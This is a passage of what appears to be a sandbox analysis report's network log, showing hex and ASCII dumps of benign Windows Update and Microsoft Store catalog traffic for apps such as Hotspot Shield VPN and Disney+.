67 72 61 70 68 69 63 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 
56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 43 6f 72 65 22 
7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 
3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 38 38 32 38 30 38 30 22 7d 5d 7d 2c 2
2 45 6e 64 44 61 74 65 22 3a 22 39 39 39 38 2d 31 32 2d 33 30 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 
22 2c 22 52 65 73 6f 75 72 63 65 53 65 74 49 64 73 22 3a 5b 22 31 22 
Data Ascii: sion":0,"PlatformName":"Windows.Holographic"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformNam
e":"Windows.Core"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.8828080"}]},"EndDate":"9998-
12-30T00:00:00.0000000Z","ResourceSetIds":["1"

2022-05-26 11:46:40 UTC 1790 IN Data Raw: 6e 20 66 6f 72 20 66 61 73 74 65 72 20 73 70 65 65 64 73 2e 5c 72 5c 6e 5c 72 5c 6e e2 96 ba 20 42 52 4f 57 
53 45 20 53 45 43 55 52 45 4c 59 5c 72 5c 6e 53 74 61 79 20 73 65 63 75 72 65 20 77 69 74 68 20 6d 69 6c 69 74 61 72 
79 2d 67 72 61 64 65 20 65 6e 63 72 79 70 74 65 64 20 74 72 61 66 66 69 63 20 62 65 74 77 65 65 6e 20 79 6f 75 72 20 
64 65 76 69 63 65 20 61 6e 64 20 6f 75 72 20 73 65 72 76 65 72 73 20 77 68 69 6c 65 20 63 6f 6e 6e 65 63 74 65 64 20 7
7 69 74 68 20 48 6f 74 73 70 6f 74 20 53 68 69 65 6c 64 20 56 50 4e 2e 5c 72 5c 6e 5c 72 5c 6e e2 96 ba 20 53 54 41 59 
20 50 52 49 56 41 54 45 5c 72 5c 6e 59 6f 75 72 20 70 72 69 76 61 63 79 20 69 73 20 6f 75 72 20 6d 69 73 73 69 6f 6e 
2e 20 43 6f 6e 6e 65 63 74 20 74 6f 20 61 6e 79 20 6f 66 20 6f 75 72 
Data Ascii: n for faster speeds.\r\n\r\n BROWSE SECURELY\r\nStay secure with military-grade encrypted traffic between 
your device and our servers while connected with Hotspot Shield VPN.\r\n\r\n STAY PRIVATE\r\nYour privacy is our 
mission. Connect to any of our

2022-05-26 11:46:40 UTC 1794 IN Data Raw: 35 31 33 32 34 34 30 35 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 34 39 
37 36 32 33 30 34 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 45 4d 73 69 78 22 2c 22 50 61 63 6b 61 67 65 
46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 65 65 5
6 50 4e 5f 6e 73 62 71 73 74 62 62 39 71 78 62 36 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 
65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 36 46 37 31 44 37 
41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 32 2e 31 30 2e 35 2e 37 30 5f 61 72 6d 5f 5f 6e 
73 62 71 73 74 62 62 39 71 78 62 36 22 2c 22 50 61 63 6b 61 67 65 49 
Data Ascii: 51324405,"MaxInstallSizeInBytes":49762304,"PackageFormat":"EMsix","PackageFamilyName":"6
F71D7A7.HotspotShieldFreeVPN_nsbqstbb9qxb6","MainPackageFamilyNameForDlc":null,"PackageFullName":"6F
71D7A7.HotspotShieldFreeVPN_2.10.5.70_arm__nsbqstbb9qxb6","PackageI

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:40 UTC 1798 IN Data Raw: 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 
61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 36 46 37 
31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 32 2e 31 30 2e 35 2e 37 30 5f 78 38 36 
5f 5f 6e 73 62 71 73 74 62 62 39 71 78 62 36 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 
5c 22 39 64 30 64 30 63 66 35 2d 66 32 32 62 2d 34 37 36 31 2d 61 62 65 65 2d 66 37 30 66 38 30 34 62 37 30 61 62 5c 
22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 
72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 
Data Ascii: ion\":1688867040526336,\"content.isMain\":false,\"content.packageId\":\"6F71D7A7.HotspotShieldFree
VPN_2.10.5.70_x86__nsbqstbb9qxb6\",\"content.productId\":\"9d0d0cf5-f22b-4761-abee-f70f804b70ab\",\"content.ta
rgetPlatforms\":[{\"platform.maxVersionTested\"

2022-05-26 11:46:40 UTC 1802 IN Data Raw: 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 
22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 
68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 
79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3
a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 
76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 
5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 
Data Ascii: oveableMedia\":false},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\"
:7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"syst
emId\":16},{\"lev

2022-05-26 11:46:40 UTC 1806 IN Data Raw: 31 3a 32 36 3a 30 31 2e 32 33 30 37 33 35 34 5a 22 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 
22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 
65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 3a 7b 22 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 
44 22 2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 22 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 
2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 65 22 3a 22 22 2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 
65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 
22 30 30 31 31 22 2c 22 44 69 73 70 6c 61 79 52 61 6e 6b 22 3a 31 2c 22 52 
Data Ascii: 1:26:01.2307354Z","Markets":["US"],"OrderManagementData":{"GrantedEntitlementKeys":[],"Price":{"Cu
rrencyCode":"USD","IsPIRequired":false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrencyCode":""}},"P
roperties":{},"SkuId":"0011","DisplayRank":1,"R

2022-05-26 11:46:40 UTC 1806 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

93 192.168.2.4 49860 52.152.110.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:41 UTC 1806 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:41 UTC 1806 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
MS-CorrelationId: 1886ca1a-f6bd-46e6-a985-b772013121a5
MS-RequestId: 92657d63-1519-4935-95ad-c6de8d6622ea
MS-CV: jFJPvmbr/0+0IP1Y.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:41 GMT
Connection: close
Content-Length: 35877

2022-05-26 11:46:41 UTC 1807 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-26 11:46:41 UTC 1822 IN Data Raw: 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 
23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 
61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 
a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 5b e7 50 31 
07 a1 48 30 3e 6a a4 f0 c4 72 3c 54 96 f6 da df d2 d3 50 d2 84 7b 97 ec 78 f9 43 53 fd e4 71 94 d6 61 5f 1a b6 d2 ca cf 27 
33 68 64 df 14 e1 50 66 07 d7 7e 96 93 5f 64 a6 a8 6b ed 53 9c 38 61 a0 4a c0 c3 f6 42 3e ba 0e e9 8f ca a4 d9 37 47 6f 
e1 9f d2 fc 8f da e3 3f 6a 8f ff a8 3d fe a3 f6 f8 8f da e3 
Data Ascii: AI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF[P1H0>jr<TP{xCSqa_'3hdPf~_dkS8aJB>
7Go?j=
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2022-05-26 11:46:41 UTC 1838 IN Data Raw: 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 
52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 
33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 
31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 3
1 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 0
3 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 02 22 30 0d 06 09 
2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 
Data Ascii: oft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0|10UUS10
UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

94 192.168.2.4 49861 52.152.110.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:42 UTC 1842 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=g4DRHRYs7RSz14z&MD=8Fa6EBfD HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-26 11:46:42 UTC 1842 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 0234dcc6-7891-4a71-b22f-e637c9210c5f
MS-RequestId: a628fc5f-bef0-441f-b74b-41aa967ee3da
MS-CV: qCLznD2qGEqrg6y4.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Thu, 26 May 2022 11:46:41 GMT
Connection: close
Content-Length: 35877

2022-05-26 11:46:42 UTC 1842 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-26 11:46:42 UTC 1858 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:42 UTC 1874 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Session ID Source IP Source Port Destination IP
Destination
Port

Process

95 192.168.2.4 49862 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:42 UTC 1877 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Disney.37853FC22B2CE_6rarf9sa4v8jt&mar
ket=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: uDw2kGtleESJezzO.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-05-26 11:46:42 UTC 1878 IN HTTP/1.1 200 OK
Connection: close
Date: Thu, 26 May 2022 11:46:41 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: b4ff8698-99b0-4d38-943c-ac12350abf03
MS-RequestId: d092d09d-c0b3-4d3e-9af8-779cd61cbec1
MS-CV: uDw2kGtleESJezzO.0.2.4.1057843030.0.1.1057843030.4093242520.0
X-Content-Type-Options: nosniff
MS-ServerId: b9576-fl72h
Region: neu
Node: aks-bigcatrpns-32351330-vmss000040
MS-DocumentVersions: 9NXQXXLFST89|2048

2022-05-26 11:46:42 UTC 1878 IN Data Raw: 66 37 35 65 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 58 51 58 58 4c 46 53 54 38 39 22 5d 2c 22 48 
61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 31 38 54 31 35 3a 35 34 3a 31 35 2e 32 35 38 36 35 38 
35 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 
22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 34 38 38 39 34 39 31 38 33 37 39 
34 32 38 32 30 36 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 
Data Ascii: f75e{"BigIds":["9NXQXXLFST89"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-05-18T15
:54:15.2586585Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3048894918379428206","EISListingIdentifier
":null,"BackgroundColor":"transpare

2022-05-26 11:46:42 UTC 1882 IN Data Raw: 73 2e 36 35 30 30 34 2e 31 34 34 39 35 33 31 31 38 34 37 31 32 34 31 37 30 2e 65 38 39 61 34 64 63 65 2d 
66 64 39 61 2d 34 61 31 30 2d 62 38 65 34 2d 61 36 63 33 61 61 31 63 30 35 35 65 2e 31 33 35 32 66 66 62 62 2d 36 65 
36 61 2d 34 30 38 37 2d 38 39 34 32 2d 36 33 66 31 39 35 62 33 34 32 38 66 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 
7b 22 46 69 6c 65 49 64 22 3a 22 33 30 35 36 34 37 31 31 39 36 36 33 39 30 30 36 33 35 30 22 2c 22 45 49 53 4c 69 73 
74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 
74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 
74 65 73 22 3a 36 30 32 34 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 
Data Ascii: s.65004.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.1352ffbb-6e6a-4087-8942-6
3f195b3428f","Width":66},{"FileId":"3056471196639006350","EISListingIdentifier":null,"BackgroundColor":"transp
arent","Caption":"","FileSizeInBytes":6024,"ForegroundCol

2022-05-26 11:46:42 UTC 1886 IN Data Raw: 36 35 30 39 32 34 37 32 33 34 30 32 33 35 37 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 
69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 
22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 37 39 35 34 31 2c 
22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 
50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 
55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 33 38 30 6c 77 36 43 53 43 31 58 33 69 
45 42 72 4c 4e 75 71 66 68 35 2b 4c 63 41 43 74 2f 70 37 46 72 42 
Data Ascii: 650924723402357","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":
79541,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash"
:"380lw6CSC1X3iEBrLNuqfh5+LcACt/p7FrB

2022-05-26 11:46:42 UTC 1890 IN Data Raw: 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 
22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 32 30 33 34 34 31 37 2c 22 46 6f 72 65 67 72 6f 75 6e 
64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 31 30 38 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 
6e 66 6f 22 3a 22 44 65 73 6b 74 6f 70 2f 32 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 
68 6f 74 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 63 63 58 75 6a 62 4c 
37 78 78 34 71 74 59 71 55 66 44 53 36 63 7a 70 68 39 53 46 7a 73 57 59 71 4c 79 59 66 35 4a 2f 64 4d 4b 55 3d 22 2c 2
2 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 
Data Ascii: roundColor":"transparent","Caption":"","FileSizeInBytes":2034417,"ForegroundColor":"","Height":108
0,"ImagePositionInfo":"Desktop/2","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"ccXujbL7xx4
qtYqUfDS6czph9SFzsWYqLyYf5J/dMKU=","Uri":"//store-images.

2022-05-26 11:46:42 UTC 1894 IN Data Raw: 22 3a 22 44 69 73 6e 65 79 2b 20 69 73 20 74 68 65 20 73 74 72 65 61 6d 69 6e 67 20 68 6f 6d 65 20 6f 66 20 
79 6f 75 72 20 66 61 76 6f 72 69 74 65 20 73 74 6f 72 69 65 73 2e 20 57 69 74 68 20 75 6e 6c 69 6d 69 74 65 64 20 65 6e 
74 65 72 74 61 69 6e 6d 65 6e 74 20 66 72 6f 6d 20 44 69 73 6e 65 79 2c 20 50 69 78 61 72 2c 20 4d 61 72 76 65 6c 2c 
20 53 74 61 72 20 57 61 72 73 20 61 6e 64 20 4e 61 74 69 6f 6e 61 6c 20 47 65 6f 67 72 61 70 68 69 63 2c 20 74 68 65 
72 65 27 73 20 61 6c 77 61 79 73 20 73 6f 6d 65 74 68 69 6e 67 20 74 6f 20 65 78 70 6c 6f 72 65 2e 20 57 61 74 63 68 2
0 74 68 65 20 6c 61 74 65 73 74 20 72 65 6c 65 61 73 65 73 2c 20 4f 72 69 67 69 6e 61 6c 20 73 65 72 69 65 73 20 61 6e 
64 20 6d 6f 76 69 65 73 2c 20 63 6c 61 73 73 69 63 20 66 69 6c 6d 
Data Ascii: ":"Disney+ is the streaming home of your favorite stories. With unlimited entertainment from Disney, Pixar, 
Marvel, Star Wars and National Geographic, there's always something to explore. Watch the latest releases, Original seri
es and movies, classic film

2022-05-26 11:46:42 UTC 1898 IN Data Raw: 69 73 6e 65 79 2e 33 37 38 35 33 46 43 32 32 42 32 43 45 5f 36 72 61 72 66 39 73 61 34 76 38 6a 74 22 2c 22 
50 61 63 6b 61 67 65 49 64 65 6e 74 69 74 79 4e 61 6d 65 22 3a 22 44 69 73 6e 65 79 2e 33 37 38 35 33 46 43 32 32 42 
32 43 45 22 2c 22 50 75 62 6c 69 73 68 65 72 43 65 72 74 69 66 69 63 61 74 65 4e 61 6d 65 22 3a 22 43 4e 3d 35 38 44 
45 43 45 33 39 2d 44 35 44 30 2d 34 32 39 33 2d 41 41 41 30 2d 39 41 46 38 34 38 34 46 31 32 45 32 22 2c 22 58 62 6f 
